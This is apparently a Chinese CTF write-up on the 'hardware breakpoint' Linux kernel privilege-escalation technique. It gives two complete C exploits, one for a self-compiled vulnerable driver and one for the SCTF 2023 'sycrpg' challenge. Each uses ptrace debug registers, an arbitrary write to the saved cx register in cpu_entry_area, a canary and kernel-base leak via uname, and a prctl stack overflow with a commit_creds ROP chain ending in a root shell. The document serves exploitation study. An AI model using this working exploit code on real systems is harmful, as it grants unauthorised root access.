hbp exploit example + SCTF2023-sycrpg

hbp 的攻击是非常强悍的手段 只需要一个 aaw 和 cpu_entry_area 的地址 就可以做到提权 继续学习这个手法

# 实践

  • 自编译 vuln 调试版 ret2hbp
  • SCTF 2023 sycrpg

# 自编译调试版

基于
veritas501 师傅的 demo
一种借助硬件断点的提权思路分析与演示

在 ioctl 中给了一个品质很好的 aaw (write anything to anywhere any times) 其他一切都无 veritas501 师傅写的真的很好 一遍就能看懂 这里只做一点补充和总结

  • 设置硬件断点:ptrace
  • 触发硬件断点:uname/prctl_set_mm_map (copy_[from|to]_user)
  • aaw 修改的位置:cpu_entry_area.estacks.DB_stack.cx
  • 泄漏 kbase canary: 通过 uname 改 cx 进行读泄漏 (copy_to_user)
  • 劫持控制流:通过 prctl_set_mm_map 然后改 cx 进行栈溢出 (copy_from_user 中用了栈上的临时变量 其中 user_buf 为硬件断点地址)
  • 触发硬件断点后内核执行的函数:exc_debug_kernel 这个是注册在 IDT (interrupt descriptor table) 中 其中的 regs 参数可以用来获取 cx 寄存器地址

由于 cpu_entry_area 没有随机化 可以很轻松的得到 cx 寄存器的位置然后进行 aaw

整个流程

  1. 需要两个子进程 一个反复用 aaw 去写 cx 另外一个就是先试着调用 uname 进行 leak 再调用 prctl_set_mm_map 进行 rop
  2. victim 触发硬件断点把寄存器推栈上 然后 trigger 给他改了 如果 victim 恢复重新执行就用到了新的 cx 寄存器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#include "inc/common.h"
#include "inc/snippet.h"

#include <stddef.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/utsname.h>
#include <sys/types.h>
#include <sys/wait.h>

#define ADDR cRED "0x%lx" cRST
#define HWBP_ADDR ((void *)07210000)
#define HWBP_SIZE 0x1000
#define addr(var) ok(#var " at " ADDR, var)

u64 kbase, kdma, canary;
const char *devname = "/dev/vuln";
pid_t victim_pid, trigger_pid;

#define init_cred (kbase + 0x1c8aa20)
#define bypass_kpti (kbase + 0x0e010b0 + 54)
#define pop_rdi (kbase + 0x0d37ba6)
#define commit_creds (kbase + 0x00ec4e0)

void hexdump(const void *data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
dprintf(2, "%02X ", ((unsigned char *)data)[i]);
if (((unsigned char *)data)[i] >= ' ' &&
((unsigned char *)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char *)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i + 1) % 8 == 0 || i + 1 == size) {
dprintf(2, " ");
if ((i + 1) % 16 == 0) {
dprintf(2, "| %s \n", ascii);
} else if (i + 1 == size) {
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8) {
dprintf(2, " ");
}
for (j = (i + 1) % 16; j < 16; ++j) {
dprintf(2, " ");
}
dprintf(2, "| %s \n", ascii);
}
}
}
}

/* must be call after child process set TRACEME */
void create_hwbp(u64 addr) {

#define PTRACE_DR(idx, data) ({ \
if(ptrace(PTRACE_POKEUSER, victim_pid, offsetof(struct user, u_debugreg[idx]), data) == -1) \
panic("ptrace dr" #idx); \
})

PTRACE_DR(0, addr);
/* Set DR7: bit 0 enables DR0 breakpoint. Bit 8 ensures the processor stops
* on the instruction which causes the exception. bits 16,17 means we stop
* on data read or write. */
dbg("%d", (int)sizeof(unsigned long));
u64 dr7 = (1 << 0) | (1 << 8) | (1 << 16) | (1 << 17);
PTRACE_DR(7, dr7);
}

void bind_cpu(int cpu_nr) {
cpu_set_t cset;
CPU_ZERO(&cset);
CPU_SET(cpu_nr, &cset);
if (sched_setaffinity(0, sizeof(cpu_set_t), &cset))
panic("sched_setaffinity: %d", cpu_nr);
}
typedef struct {
u64 addr;
u64 val;
}Req;

void aaw(u64 addr, u64 val) {
Req r = { .addr = addr, .val = val };
if(ioctl(devfd, 0, &r) < 0)
panic("aaw");
}
/*
break at exc_debug_kernel to get it
(gdb) p/x &regs->cx
$3 = 0xfffffe0000010fb0
*/
#define CPU0_rcx_location (0xfffffe0000010fb0)

void trigger_run() {
act("T> start to aaw cx reg in estack...");
bind_cpu(1);
while(1) {
/* bcoz the granularity copt_to_user in string is 8 bytes */
aaw(CPU0_rcx_location, 0x400 / 8);/* hijack cx to 0x100 for overread 0x400 */
}
}
enum Step {
STEP_OOR = 0,
STEP_STACK_OVERFLOW,
};


u64 _ip = (u64)get_root_shell;

void victim_run() {

act("V> start to invoke uname and prctl ...");

enum Step step = STEP_OOR;
u8 *utsname_buf = (u8 *)HWBP_ADDR;
memset((u8 *)HWBP_ADDR, '\x00', HWBP_SIZE);
bind_cpu(0);

if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) != 0)
panic("PTRACE_TRACEME");

while (1) {

raise(SIGSTOP);

switch(step) {
case STEP_OOR :
{
uname((struct utsname *)utsname_buf);
u8 *leaked = utsname_buf + sizeof(struct utsname);
range(i, 0x20, {
if(leaked[i]) {
ok("V> oor successful");
hexdump((u8 *)HWBP_ADDR + sizeof(struct utsname), 0x100);

u64 *leaked = (u64 *)((u8 *)HWBP_ADDR + sizeof(struct utsname));

canary = leaked[0];
addr(canary);

kbase = leaked[4] - 0xd48b2;
addr(kbase);

step++;
break;
}
});
}
break;
case STEP_STACK_OVERFLOW :
{
#define PADDING_CNT 0x44
#define CANARY_IDX 0x3d

u64 i = 0;
u64 *rop = (u64 *)HWBP_ADDR;
rop[CANARY_IDX] = canary;

rop[PADDING_CNT + i++] = pop_rdi;
rop[PADDING_CNT + i++] = init_cred;
rop[PADDING_CNT + i++] = commit_creds;
rop[PADDING_CNT + i++] = bypass_kpti;
rop[PADDING_CNT + i++] = 0x0d000721;
rop[PADDING_CNT + i++] = 0x0d000721;
rop[PADDING_CNT + i++] = _ip;
rop[PADDING_CNT + i++] = _cs;
rop[PADDING_CNT + i++] = _rflags;
rop[PADDING_CNT + i++] = _sp;
rop[PADDING_CNT + i++] = _ss;

// assert(i < ROP_CNT);/* sanity check */
act("V> try to use prctl(PR_SET_MM...) to overflow the stack...");

prctl(
PR_SET_MM,
PR_SET_MM_MAP,
HWBP_ADDR,
sizeof(struct prctl_mm_map),
0
);
}
break;
default:
unreachable();
}
}
}


#define fork_switch(name) ({ \
switch (name##_pid = fork()) { \
case -1: panic("fork victim"); \
case 0: \
name##_run(); \
exit(0); \
break; \
default: \
break; \
} \
})

int main()
{
save_state();
open_dev(devname, O_RDONLY);

if(mmap(
HWBP_ADDR,
HWBP_SIZE,
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,
-1,
0
) == MAP_FAILED) panic("mmap");

act("fork victim child ...");
fork_switch(victim);
waitpid(victim_pid, NULL, __WALL);

act("fork trigger child ...");
fork_switch(trigger);

act("try to create hardware breakpoint...");
create_hwbp((u64)HWBP_ADDR);

while(1) {

if(ptrace(PTRACE_CONT, victim_pid, NULL, NULL) == -1)
panic("ptrace continue");

waitpid(victim_pid, NULL, __WALL);

}

return 0;
}

# SCTF 2023 sycrpg

这个其实就是和上面那个 demo 一样 就是加了一个小游戏
会创建自己的角色 攻击力 血量 和三个敌人 然后需要自己的属性大于他们 可以刷哥布林赚钱加属性 然后都杀完了就可以有 对一个地址 oaw(one address write)多次 的机会 其实就是上面的翻版了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
#include "inc/common.h"
#include "inc/snippet.h"

#include <stddef.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/utsname.h>
#include <sys/types.h>
#include <sys/wait.h>

#define ADDR cRED "0x%lx" cRST
#define HWBP_ADDR ((void *)07210000)
#define HWBP_SIZE 0x2000
#define addr(var) ok(#var " at " ADDR, var)

u64 kbase, kdma, canary;
const char *devname = "/dev/seven";
pid_t victim_pid, trigger_pid;

#define init_cred (kbase + 0x1e8abe0)
#define bypass_kpti (kbase + 0x0e010b0 + 54)
#define pop_rdi (kbase + 0x00e390d)
#define commit_creds (kbase + 0x00eeec0)

#define CMD_START 0x7201
#define CMD_BUY 0x7202
#define CMD_FIGHT 0x7203
#define CMD_AWARD 0x7204

enum Monster {
GOBLIN = 0,
TROLL,
DRAGON,
};
enum Property {
ATK = 1,
HP,
};

void hexdump(const void *data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
dprintf(2, "%02X ", ((unsigned char *)data)[i]);
if (((unsigned char *)data)[i] >= ' ' &&
((unsigned char *)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char *)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i + 1) % 8 == 0 || i + 1 == size) {
dprintf(2, " ");
if ((i + 1) % 16 == 0) {
dprintf(2, "| %s \n", ascii);
} else if (i + 1 == size) {
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8) {
dprintf(2, " ");
}
for (j = (i + 1) % 16; j < 16; ++j) {
dprintf(2, " ");
}
dprintf(2, "| %s \n", ascii);
}
}
}
}

/* must be call after child process set TRACEME */
void create_hwbp(u64 addr) {

#define PTRACE_DR(idx, data) ({ \
if(ptrace(PTRACE_POKEUSER, victim_pid, offsetof(struct user, u_debugreg[idx]), data) == -1) \
panic("ptrace dr" #idx); \
})

PTRACE_DR(0, addr);
/* Set DR7: bit 0 enables DR0 breakpoint. Bit 8 ensures the processor stops
* on the instruction which causes the exception. bits 16,17 means we stop
* on data read or write. */
u64 dr7 = (1 << 0) | (1 << 8) | (1 << 16) | (1 << 17);
PTRACE_DR(7, dr7);
}

void bind_cpu(int cpu_nr) {

cpu_set_t cset;
CPU_ZERO(&cset);
CPU_SET(cpu_nr, &cset);

if (sched_setaffinity(0, sizeof(cpu_set_t), &cset) < 0)
panic("sched_setaffinity: %d", cpu_nr);

}

typedef struct {
u64 addr;
u64 val;
}Req;

void aaw(u64 val) {
ioctl(devfd, CMD_AWARD, val);
}

#define CPU0_dbstack_cx_addr 0xfffffe0000010fb0

void trigger_run() {
act("T> start to aaw cx reg in estack...");
bind_cpu(1);
while(1) {
/* bcoz the granularity copt_to_user in string is 8 bytes */
aaw(0x90);/* hijack cx */
}
}
enum Step {
STEP_OOR = 0,
STEP_STACK_OVERFLOW,
};


u64 _ip = (u64)get_root_shell;

void victim_run() {

act("V> start to invoke uname and prctl ...");

enum Step step = STEP_OOR;
u8 *utsname_buf = (u8 *)HWBP_ADDR;
memset((u8 *)HWBP_ADDR, '\x00', HWBP_SIZE);
bind_cpu(0);

if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) != 0)
panic("PTRACE_TRACEME");

while (1) {

raise(SIGSTOP);

switch(step) {
case STEP_OOR :
{
uname((struct utsname *)utsname_buf);
u8 *leaked = utsname_buf + sizeof(struct utsname);
range(i, 0x20, {
if(leaked[i]) {
ok("V> oor successful");
hexdump((u8 *)HWBP_ADDR + sizeof(struct utsname), 0x100);

u64 *leaked = (u64 *)((u8 *)HWBP_ADDR + sizeof(struct utsname));

canary = leaked[0];
addr(canary);

kbase = leaked[4] - 0xd48b2 - 0x28d0;
addr(kbase);

step++;
break;
}
});
}
break;
case STEP_STACK_OVERFLOW :
{
#define PADDING_CNT 0x44
#define CANARY_IDX 0x3d

u64 i = 0;
u64 *rop = (u64 *)HWBP_ADDR;
memset((u8 *)rop, 'A', PADDING_CNT * 8);
rop[CANARY_IDX] = canary;

rop[PADDING_CNT + i++] = pop_rdi;
rop[PADDING_CNT + i++] = init_cred;
rop[PADDING_CNT + i++] = commit_creds;
rop[PADDING_CNT + i++] = bypass_kpti;
rop[PADDING_CNT + i++] = 0x0d000721;
rop[PADDING_CNT + i++] = 0x0d000721;
rop[PADDING_CNT + i++] = _ip;
rop[PADDING_CNT + i++] = _cs;
rop[PADDING_CNT + i++] = _rflags;
rop[PADDING_CNT + i++] = _sp;
rop[PADDING_CNT + i++] = _ss;


// assert(i < ROP_CNT);/* sanity check */
act("V> try to use prctl(PR_SET_MM...) to overflow the stack...");

prctl(
PR_SET_MM,
PR_SET_MM_MAP,
HWBP_ADDR,
sizeof(struct prctl_mm_map),
0
);
}
break;
default:
unreachable();
}
}
}


#define fork_switch(name) ({ \
switch (name##_pid = fork()) { \
case -1: panic("fork victim"); \
case 0: \
name##_run(); \
exit(0); \
break; \
default: \
break; \
} \
})

void fight() {

ioctl(devfd, CMD_START, CPU0_dbstack_cx_addr);
ioctl(devfd, CMD_BUY, ATK);

range(i, 100, {
ioctl(devfd, CMD_FIGHT, GOBLIN);
ioctl(devfd, CMD_FIGHT, GOBLIN);

ioctl(devfd, CMD_BUY, ATK);
ioctl(devfd, CMD_BUY, HP);
});

ioctl(devfd, CMD_FIGHT, TROLL);
ioctl(devfd, CMD_FIGHT, DRAGON);
}

int main()
{
save_state();
open_dev(devname, O_RDONLY);
fight();
ok("fight monsters done");

if(mmap(
HWBP_ADDR,
HWBP_SIZE,
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,
-1,
0
) == MAP_FAILED) panic("mmap");

act("fork victim child ...");
fork_switch(victim);
waitpid(victim_pid, NULL, __WALL);

act("fork trigger child ...");
fork_switch(trigger);

act("try to create hardware breakpoint...");
create_hwbp((u64)HWBP_ADDR);

while(1) {

if(ptrace(PTRACE_CONT, victim_pid, NULL, NULL) == -1)
panic("ptrace continue");

waitpid(victim_pid, NULL, __WALL);

}

return 0;
}
/*
ffffffff81639460 T _copy_to_user
0xffffffff810d76f0 t prctl_set_mm_map
*/